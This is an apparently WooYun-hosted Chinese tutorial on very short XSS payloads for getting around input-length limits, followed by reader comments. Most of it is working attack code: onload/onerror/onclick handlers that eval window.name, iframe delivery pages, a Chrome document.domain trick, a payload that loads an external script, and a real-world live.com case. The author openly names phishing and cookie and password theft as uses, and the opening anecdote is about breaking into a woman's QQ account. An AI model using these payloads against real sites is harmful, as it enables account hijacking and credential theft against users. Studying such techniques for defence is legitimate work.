Short XSS

0x00 背景


关键时候长度不够怎么办?

在实际的情况中如果你不够长怎么办呢?看医生?吃药?做手术?。。。。。。。。。。。。。。算了,既然自身硬件不足,那么就把缺点变优点吧。熟话说:小是小威力好。

熟话说的好,要能长能短,收放自如。在很多的情况中,我们构造的语句是被限制在一定的字符数内。所以这个就是考验你能短的时候能不能短,能长的时候能不能长的时候到了。

0x01 现实中的悲剧


这是一个活生生的悲剧,一个平台上面,一个二逼朋友有妹子的平台账号,但是二逼朋友想进妹子的QQ空间,用平台的备注插QQ-XSS代码,但是因为限制的字符太短,最终抱头痛哭。于是就有了下图所发生:

2013082023315075455.jpg

0x02 怎么变”短”


#!html
"><script>alert(1)</script> 

.............................27 letters?

Alert(1)? No Run?

Impossible?

No!

在实际情况中,可以通过<h1>短向量或者其他的短向量去测试存在XSS的地方,为什么可以这样?HTML是一门”不太严格”的解释语言,即使没有</h1>,很多浏览器也照样可以解释为

#!html
<h1>xss</h1>

<h1>xss

S1:

2013082023324089066.jpg

S2:

2013082023330469883.jpg

S3:

2013082023332018566.jpg

但是如果在攻击的时候,我往往需要用到很多标签、属性来达到我们的目的。下面列出一些比较猥琐的利用

<svg/onload=domain=id>

S1:在chrome浏览器存在一个同域读取漏洞,为什么说同域呢?

S2:在chrome下如果我们访问www.baidu.com,通过控制台来设置一下域为空,document.domain="",就会出现以下的错误。

2013082023341576811.jpg

S3:为什么说chrome浏览器存在一个同域读取漏洞呢?下面我们通过访问www.baidu.com.来访问一下(com后面还有一个.)并设置一下域为空

#!javascript
document.domain=""

设置结果就会出现以下图片所示。

2013082023344564837.jpg

S4:这个怎么利用?

首先说一个问题,就是说,在同域的情况下,DOM是互通的。就相当于我a可以写b的,b也可以同样写a的。那我们该怎么来利用呢?我们可以干很多事情,比如说重写页面钓鱼,或者盗取同域Cookie。下面我就用Chrome的控制台来演示一下这个内容读取漏洞。

S5:先来看看两段代码:

本地构造的攻击页面如下:

#!html
<!DOCTYPE html>
<html>
  <body>
    <h1>这是a.com./12.html</h1>
    <svg/onload=domain=id>
  </body>
</html>

存在缺陷的XSS页面如下:

#!html
<!DOCTYPE html>
<html>
  <body>
    <h1>这是b.com./11.html</h1>
    <svg/onload=domain=id>
  </body>
</html>

S6:下面我们通过访问我们构造的攻击页面,也就是a.com./12.html,然后读取domain看看,结果如下图:

2013082023361468608.jpg

S7:然后我们在控制台里面用window.open()方法打开打开存在缺陷的XSS页面.然后同样用domain查看域.

2013082023365253563.jpg

S8:我们从上面就可以查看出,现在a.com.和b.com.都是处于同一域下面,那么就可以实现DOM相通的概念了。

S9:通过DOM重写页面测试,测试结果如下图:

2013082023374053213.jpg

S10:其实这个方法的用处很多,比如说我找到XXX的XSS页面,我通过把域置空,然后在自己站上构造一个页面,怎么构造就要看你的思维了,通过同域的DOM操作,可以钓鱼的方式盗取COOKIE、密码等。

<svg/onload=eval(name)>

S1:先把代码文译一下:

#!html
<svg/onload=eval(window.name)>

S2:这一段代码通过svg载入的时候执行onload事件,执行的时候通过windows.name传递给eval执行,如果我们自己构造一个攻击页面,然后传递的XSS代码呢?下面看一段代码:

本地构造的攻击页面:

#!html
<!DOCTYPE html>
<html>
  <body>
    <iframe src="11.html" name="alert(1)"></iframe>
  </body>
</html>

存在缺陷的XSS页面:

#!html
<!DOCTYPE html>
<html>
 <body>
    <svg/onload=eval(name)>
 </body>
</html>

S3:然后运行页面,测试结果如下:

2013082023383876930.jpg

<i/onclick=URL=name>

S1:上面的代码文译一下:

#!html
<i/onclick=document.URL=window.name>

S2:其实这段代码和上一段差不多多少,这里就不截图了,简单的讲解一下。通过点击执行事件把window.name的内容给document.URL然后执行javascript代码。那么我们可以怎么利用呢?

存在缺陷的XSS页面如下:

#!html
<!DOCTYPE html>
<html>
    <body>
        <i/onclick=URL=name>
    </body>
</html>

本地构造的攻击页面如下:

#!html
<!DOCTYPE html>
<html>
    <body>
        <iframe src="11.html" name="javascript:alert(1)"></iframe>
    </body>
</html>

<img src=x onerror=eval(name)>

S1:先把代码文译一下:

#!html
<img src=x onerror=eval(window.name)>

S2:邪恶的eval又来了。通过img元素的src属性出错,执行onerror事件,通过邪恶的eval执行window.name里面的代码。

S3:那我们怎么来实现呢?

本地构造的攻击页面如下:

#!html
<!DOCTYPE html>
<html>
    <body>
        <iframe src="11.html" name="alert(1)"></iframe>
    </body>

  

存在缺陷的XSS页面如下:

#!html
<!DOCTYPE html>
<html>
    <body>
        <img src="s.sx" onerror=eval(name) />
    </body>
</html>

其实有很多用法,当然你也可以直接:

#!html
<img src=x onerror=eval(alert(1)) />

2013082023401581483.jpg

还可以

#!html
<img src=x onerror=eval(变量) />

2013082023410714365.jpg

还可以通过调用元素属性,或者是程序员自写的js代码

2013082023425551862.jpg

<img src=x onerror=with(body)createElement('script').src='[JS地址]'>

S1:通过img元素的src属性出错,执行onerror事件.

S2:用with定位到body,通过DOM的一个createElement方法创建一个script元素,并使用script的src属性指向需要调用的外部js文件。从而达到攻击的目的。

S3:这个就不讲解了,都应该能够看懂

0x03 实例


下面引用长谷川的PPT的一部分(此PPT引用经过作者同意)

2013082023440538047.jpg

2013082023443139294.jpg

通过查看源代码:

地址:

https://*.live.com/?param=><h1>XSSed</h1><!--





#!html
<!-- Version: "13.000.20177.00" Server: BAYIDSLEG1C38; DateTime: 2012/05/01 15:13:23 -->
<input type="hidden" value="MESSAGE: A potentially dangerous Request.QueryString value was detected from the client (param="><h1>XSSed</h1><!--").
SOURCE: System.Web FORM:" />

找出了XSS的原因是由错误消息引起的XSS

然后通过攻击者自己构造的页面构造XSS,并成功实现。

#!html
<iframe src="target" name="javascript:alert(1)">

(或者使用JavaScript的window.open)

最终:作者通过21个字符实现XSS(关于实现的方法请见上面的一些比较猥琐的利用元素标签)

代码为:

#!html
><i/onclick=URL=name>

当然22个字符也有很多方法(//后面为我们构造的代码开始) 20 Letters

#!html
<input type=hidden value=//><i/onclick=URL=name>

22 Letters

#!html
<input type=hidden value="//"><i/onclick=URL=name>">

17 Letters

#!html
<input type=text value= //onclick=URL=name>

2013082023451443889.jpg

2013082023454387143.jpg

0x04 挑战最”短”


这个活动是国外一个网站发布的,名为XSS challenge,大家有兴趣可以讨论一下 19 Letters

<x/x=&{eval(name)};

22 Letters

<svg/onload=eval(name)

最短的javascript执行代码,考验你”短”的时候到了

10 Letters eval(name)
9 Letters eval(URL)
8 Letters URL=name
6 Letters $(URL)

0x05 总结


Javascript是一门很好玩的解释型语言,每次去研究这些XSS点的时候会有很多乐趣,你越不相信这个点有XSS,那么就越要去研究这个点是否有XSS。

其实呢~~~这些技术可以称为猥琐流。。。因为不是按正常的逻辑思维是想不到这些的,除非那些思想很猥琐的人。~~~~~~~

欢迎你加入猥琐这个团队,让我们一起猥琐吧。

©乌云知识库版权所有 未经许可 禁止转载


30
">alert(1) 2016-02-19 16:00:08

d

30
霝z 2015-09-21 10:21:30

“猥琐”啊哈哈,应该叫“创新思维”

30
BeenQuiver 2015-07-28 11:17:09

额哈哈,妙极!

30
猫咪 2015-04-05 11:34:16

www.baidu.com. (最后面有个. )但是document.domain后是www.baidu.com 和你描述的不一样 没有点。 不知道是为什么

30
戏子 2013-11-04 17:33:06

10字符有人能搞定么。。。

30
mramydnei 2013-10-28 02:49:00

后半部分看着眼熟 原来是short talk of xss……

30
px1624 2013-09-22 15:54:20

。。我日,我的s c r i p t标签被乌云过滤掉了。。

30
px1624 2013-09-22 15:53:43

我觉得比较常用的最短xss应该是/**/alert(1)/**/分成3个写入,一个长度11字节

30
0x0F 2013-08-28 22:20:17

<script src=//x.xx/
19 letters?

30
Crackkay 2013-08-28 11:08:19

可以打开的,昨天正在搬迁。感谢朋友关注!

30
suolong 2013-08-28 00:02:47

你的博客打不开了。

30
Crackkay 2013-08-22 16:38:59

谢谢二哥。嘿嘿

30
Crackkay 2013-08-22 16:38:36

您好,这个两句已经失效了。嘿嘿

30
Crackkay 2013-08-22 16:38:00

前辈您好。可以钓鱼,可以通过重写页面,然后直接获取密码

30
xsjswt 2013-08-22 14:13:44

[code]
<x/x=&{eval(name)};
[/code]
撸主确定这个能执行么。
我试了一下,不管是规范的写成
[code]
<x x="&{eval(name)};"></x>
[/code]
还是就像撸主你这样写,在ff和chrome上都不执行啊

30
心伤的瘦子 2013-08-22 12:41:20

钓鱼

30
1428666 2013-08-21 22:58:27

十分感谢!!!

30
Sogili 2013-08-21 21:54:19

很好

30
gainover 2013-08-21 21:42:38

支持小伍,总结的还不错~

30
VIP 2013-08-21 20:07:41

有个问题:作者这个XSS是通过同域读取漏洞,也就是假设wooyun.org存在一个XSS 通过XSS代码将域置空,然后其他页面就可以通过加载wooyun.org.来操作目标页面 比如说读cookies
但是wooyun.org和wooyun.org.是不同的,就是说wooyun.org的cookies并不会继承到wooyun.org. 那么,通过读取wooyun.org.的cookies,并不能得到wooyun.org的cookies吧 求解惑

30
破釜沉舟 2013-08-21 19:47:06

这年代,这么认真写文章的人不多了,支持下,受益了

30
Crackkay 2013-08-21 17:40:37

可以这样认为,相当于是chrome浏览器的一个漏洞。

30
1428666 2013-08-21 16:44:34

看了您的主页,了解了下同源策略,这个还要欺骗浏览器是同域吧。

30
1428666 2013-08-21 16:43:13

请详解!

30
小胖胖要减肥 2013-08-21 13:28:17

其实就跟webshell的那个绕过检测有点像哈哈,这个就是绕过长度限制

30
Crackkay 2013-08-21 13:03:55

简化一下:就相当于让两个页面都处于相同域下面,相同域的情况下,两个页面的DOM是想通的!

30
1428666 2013-08-21 12:47:01

奥,是让victim访问自己搭建的页面,执行有缺陷的页面的xss脚本?

30
1428666 2013-08-21 12:43:55

没怎么看懂啊,同域中,访问有xss缺陷的页面如何到了本地页面?

30
园长 2013-08-21 12:25:38

被你领先了几秒钟...
<x/x=被过滤了

瞌睡龙 | 2013/08/21 12:24 | #

园长 | 2013/08/21 12:24 | #

30
园长 2013-08-21 12:24:28

@短短短 <x/x=

30
瞌睡龙 2013-08-21 12:24:27

小伙子总结还不错哦~ :)

感谢知乎授权页面模版